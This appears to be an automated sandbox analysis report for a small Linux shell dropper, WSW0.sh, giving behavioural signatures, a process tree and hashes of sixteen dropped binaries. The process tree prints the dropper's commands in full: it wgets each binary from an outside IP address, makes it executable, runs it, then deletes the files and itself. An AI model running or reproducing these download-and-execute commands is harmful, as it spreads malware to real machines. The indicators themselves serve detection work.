Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17/06/2026, 12:09

General

  • Target
    WSW0.sh
  • Size 266B
  • Sample260617-pbv1psez2n
  • SHA256 f5856ea37a4c461ea5b8a0d177fc8e657cc002b6bd750d3984aa8e3cb2b6df45
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:1507
    • /bin/rm
      rm KGBH
      2⤵
        PID:1509
      • /usr/bin/wget
        wget http://216.107.139.197/KGBH
        2⤵
        • Writes file to tmp directory
        PID:1510
      • /bin/chmod
        chmod +x KGBH
        2⤵
        • File and Directory Permissions Modification
        PID:1516
      • /tmp/KGBH
        ./KGBH
        2⤵
          PID:1517
        • /bin/rm
          rm TOIE
          2⤵
            PID:1519
          • /usr/bin/wget
            wget http://216.107.139.197/TOIE
            2⤵
            • Writes file to tmp directory
            PID:1520
          • /bin/chmod
            chmod +x TOIE
            2⤵
            • File and Directory Permissions Modification
            PID:1521
          • /tmp/TOIE
            ./TOIE
            2⤵
              PID:1522
            • /bin/rm
              rm KANC
              2⤵
                PID:1524
              • /usr/bin/wget
                wget http://216.107.139.197/KANC
                2⤵
                • Writes file to tmp directory
                PID:1525
              • /bin/chmod
                chmod +x KANC
                2⤵
                • File and Directory Permissions Modification
                PID:1526
              • /tmp/KANC
                ./KANC
                2⤵
                • OS Credential Dumping
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:1527
                • /usr/local/sbin/uname
                  uname -a
                  3⤵
                    PID:1531
                  • /usr/local/bin/uname
                    uname -a
                    3⤵
                      PID:1531
                    • /usr/sbin/uname
                      uname -a
                      3⤵
                        PID:1531
                      • /usr/bin/uname
                        uname -a
                        3⤵
                          PID:1531
                        • /sbin/uname
                          uname -a
                          3⤵
                            PID:1531
                          • /bin/uname
                            uname -a
                            3⤵
                              PID:1531
                          • /bin/rm
                            rm PGFF
                            2⤵
                              PID:1529
                            • /usr/bin/wget
                              wget http://216.107.139.197/PGFF
                              2⤵
                              • Writes file to tmp directory
                              PID:1530
                            • /bin/chmod
                              chmod +x PGFF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1532
                            • /tmp/PGFF
                              ./PGFF
                              2⤵
                                PID:1533
                              • /bin/rm
                                rm ZOLB
                                2⤵
                                  PID:1535
                                • /usr/bin/wget
                                  wget http://216.107.139.197/ZOLB
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1536
                                • /bin/chmod
                                  chmod +x ZOLB
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1537
                                • /tmp/ZOLB
                                  ./ZOLB
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1538
                                • /bin/rm
                                  rm GAKM
                                  2⤵
                                    PID:1540
                                  • /usr/bin/wget
                                    wget http://216.107.139.197/GAKM
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1541
                                  • /bin/chmod
                                    chmod +x GAKM
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1542
                                  • /tmp/GAKM
                                    ./GAKM
                                    2⤵
                                      PID:1543
                                    • /bin/rm
                                      rm DGMG
                                      2⤵
                                        PID:1545
                                      • /usr/bin/wget
                                        wget http://216.107.139.197/DGMG
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1546
                                      • /bin/chmod
                                        chmod +x DGMG
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1547
                                      • /tmp/DGMG
                                        ./DGMG
                                        2⤵
                                          PID:1548
                                        • /bin/rm
                                          rm CDLX
                                          2⤵
                                            PID:1550
                                          • /usr/bin/wget
                                            wget http://216.107.139.197/CDLX
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1551
                                          • /bin/chmod
                                            chmod +x CDLX
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1552
                                          • /tmp/CDLX
                                            ./CDLX
                                            2⤵
                                              PID:1553
                                            • /bin/rm
                                              rm JOYA
                                              2⤵
                                                PID:1555
                                              • /usr/bin/wget
                                                wget http://216.107.139.197/JOYA
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1556
                                              • /bin/chmod
                                                chmod +x JOYA
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1557
                                              • /tmp/JOYA
                                                ./JOYA
                                                2⤵
                                                  PID:1558
                                                • /bin/rm
                                                  rm VFKI
                                                  2⤵
                                                    PID:1560
                                                  • /usr/bin/wget
                                                    wget http://216.107.139.197/VFKI
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:1561
                                                  • /bin/chmod
                                                    chmod +x VFKI
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:1562
                                                  • /tmp/VFKI
                                                    ./VFKI
                                                    2⤵
                                                      PID:1563
                                                    • /bin/rm
                                                      rm KQUI
                                                      2⤵
                                                        PID:1565
                                                      • /usr/bin/wget
                                                        wget http://216.107.139.197/KQUI
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1566
                                                      • /bin/chmod
                                                        chmod +x KQUI
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:1567
                                                      • /tmp/KQUI
                                                        ./KQUI
                                                        2⤵
                                                          PID:1568
                                                        • /bin/rm
                                                          rm KAIQ
                                                          2⤵
                                                            PID:1570
                                                          • /usr/bin/wget
                                                            wget http://216.107.139.197/KAIQ
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:1571
                                                          • /bin/chmod
                                                            chmod +x KAIQ
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:1572
                                                          • /tmp/KAIQ
                                                            ./KAIQ
                                                            2⤵
                                                              PID:1573
                                                            • /bin/rm
                                                              rm EJLS
                                                              2⤵
                                                                PID:1575
                                                              • /usr/bin/wget
                                                                wget http://216.107.139.197/EJLS
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1576
                                                              • /bin/chmod
                                                                chmod +x EJLS
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:1577
                                                              • /tmp/EJLS
                                                                ./EJLS
                                                                2⤵
                                                                  PID:1578
                                                                • /bin/rm
                                                                  rm GCOZ
                                                                  2⤵
                                                                    PID:1580
                                                                  • /usr/bin/wget
                                                                    wget http://216.107.139.197/GCOZ
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1581
                                                                  • /bin/chmod
                                                                    chmod +x GCOZ
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:1582
                                                                  • /tmp/GCOZ
                                                                    ./GCOZ
                                                                    2⤵
                                                                      PID:1583
                                                                    • /bin/rm
                                                                      rm JRQQ
                                                                      2⤵
                                                                        PID:1585
                                                                      • /usr/bin/wget
                                                                        wget http://216.107.139.197/JRQQ
                                                                        2⤵
                                                                        • Writes file to tmp directory
                                                                        PID:1586
                                                                      • /bin/chmod
                                                                        chmod +x JRQQ
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:1587
                                                                      • /tmp/JRQQ
                                                                        ./JRQQ
                                                                        2⤵
                                                                          PID:1588
                                                                        • /bin/rm
                                                                          rm SNJT
                                                                          2⤵
                                                                            PID:1590
                                                                          • /usr/bin/wget
                                                                            wget http://216.107.139.197/SNJT
                                                                            2⤵
                                                                            • Writes file to tmp directory
                                                                            PID:1591
                                                                          • /bin/chmod
                                                                            chmod +x SNJT
                                                                            2⤵
                                                                            • File and Directory Permissions Modification
                                                                            PID:1592
                                                                          • /tmp/SNJT
                                                                            ./SNJT
                                                                            2⤵
                                                                              PID:1593
                                                                            • /bin/rm
                                                                              rm -rf KGBH
                                                                              2⤵
                                                                                PID:1595
                                                                              • /bin/rm
                                                                                rm -rf TOIE
                                                                                2⤵
                                                                                  PID:1596
                                                                                • /bin/rm
                                                                                  rm -rf KANC
                                                                                  2⤵
                                                                                    PID:1597
                                                                                  • /bin/rm
                                                                                    rm -rf PGFF
                                                                                    2⤵
                                                                                      PID:1598
                                                                                    • /bin/rm
                                                                                      rm -rf ZOLB
                                                                                      2⤵
                                                                                        PID:1599
                                                                                      • /bin/rm
                                                                                        rm -rf GAKM
                                                                                        2⤵
                                                                                          PID:1600
                                                                                        • /bin/rm
                                                                                          rm -rf DGMG
                                                                                          2⤵
                                                                                            PID:1601
                                                                                          • /bin/rm
                                                                                            rm -rf CDLX
                                                                                            2⤵
                                                                                              PID:1602
                                                                                            • /bin/rm
                                                                                              rm -rf JOYA
                                                                                              2⤵
                                                                                                PID:1603
                                                                                              • /bin/rm
                                                                                                rm -rf VFKI
                                                                                                2⤵
                                                                                                  PID:1604
                                                                                                • /bin/rm
                                                                                                  rm -rf KQUI
                                                                                                  2⤵
                                                                                                    PID:1605
                                                                                                  • /bin/rm
                                                                                                    rm -rf KAIQ
                                                                                                    2⤵
                                                                                                      PID:1606
                                                                                                    • /bin/rm
                                                                                                      rm -rf EJLS
                                                                                                      2⤵
                                                                                                        PID:1607
                                                                                                      • /bin/rm
                                                                                                        rm -rf GCOZ
                                                                                                        2⤵
                                                                                                          PID:1608
                                                                                                        • /bin/rm
                                                                                                          rm -rf JRQQ
                                                                                                          2⤵
                                                                                                            PID:1609
                                                                                                          • /bin/rm
                                                                                                            rm -rf SNJT
                                                                                                            2⤵
                                                                                                              PID:1610
                                                                                                            • /bin/rm
                                                                                                              rm /tmp/WSW0.sh
                                                                                                              2⤵
                                                                                                                PID:1611

                                                                                                            Network

                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  .zwxGXIla

                                                                                                                  • Path /tmp/.zwxGXIla
                                                                                                                  • Size 18B
                                                                                                                  • SHA256 79946e96c1fb4be0771a9b8487088fa81c7cb7a1044772b2ae1eded2bc11f4b9
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  CDLX

                                                                                                                  • Path /tmp/CDLX
                                                                                                                  • Size 129KB
                                                                                                                  • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  DGMG

                                                                                                                  • Path /tmp/DGMG
                                                                                                                  • Size 154KB
                                                                                                                  • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  EJLS

                                                                                                                  • Path /tmp/EJLS
                                                                                                                  • Size 167KB
                                                                                                                  • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  GAKM

                                                                                                                  • Path /tmp/GAKM
                                                                                                                  • Size 105KB
                                                                                                                  • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  GCOZ

                                                                                                                  • Path /tmp/GCOZ
                                                                                                                  • Size 193KB
                                                                                                                  • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  JOYA

                                                                                                                  • Path /tmp/JOYA
                                                                                                                  • Size 86KB
                                                                                                                  • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  JRQQ

                                                                                                                  • Path /tmp/JRQQ
                                                                                                                  • Size 125KB
                                                                                                                  • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  KAIQ

                                                                                                                  • Path /tmp/KAIQ
                                                                                                                  • Size 121KB
                                                                                                                  • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  KANC

                                                                                                                  • Path /tmp/KANC
                                                                                                                  • Size 109KB
                                                                                                                  • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  KGBH

                                                                                                                  • Path /tmp/KGBH
                                                                                                                  • Size 125KB
                                                                                                                  • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  KQUI

                                                                                                                  • Path /tmp/KQUI
                                                                                                                  • Size 193KB
                                                                                                                  • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  PGFF

                                                                                                                  • Path /tmp/PGFF
                                                                                                                  • Size 129KB
                                                                                                                  • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  SNJT

                                                                                                                  • Path /tmp/SNJT
                                                                                                                  • Size 126KB
                                                                                                                  • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  TOIE

                                                                                                                  • Path /tmp/TOIE
                                                                                                                  • Size 200KB
                                                                                                                  • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  VFKI

                                                                                                                  • Path /tmp/VFKI
                                                                                                                  • Size 125KB
                                                                                                                  • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  ZOLB

                                                                                                                  • Path /tmp/ZOLB
                                                                                                                  • Size 105KB
                                                                                                                  • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH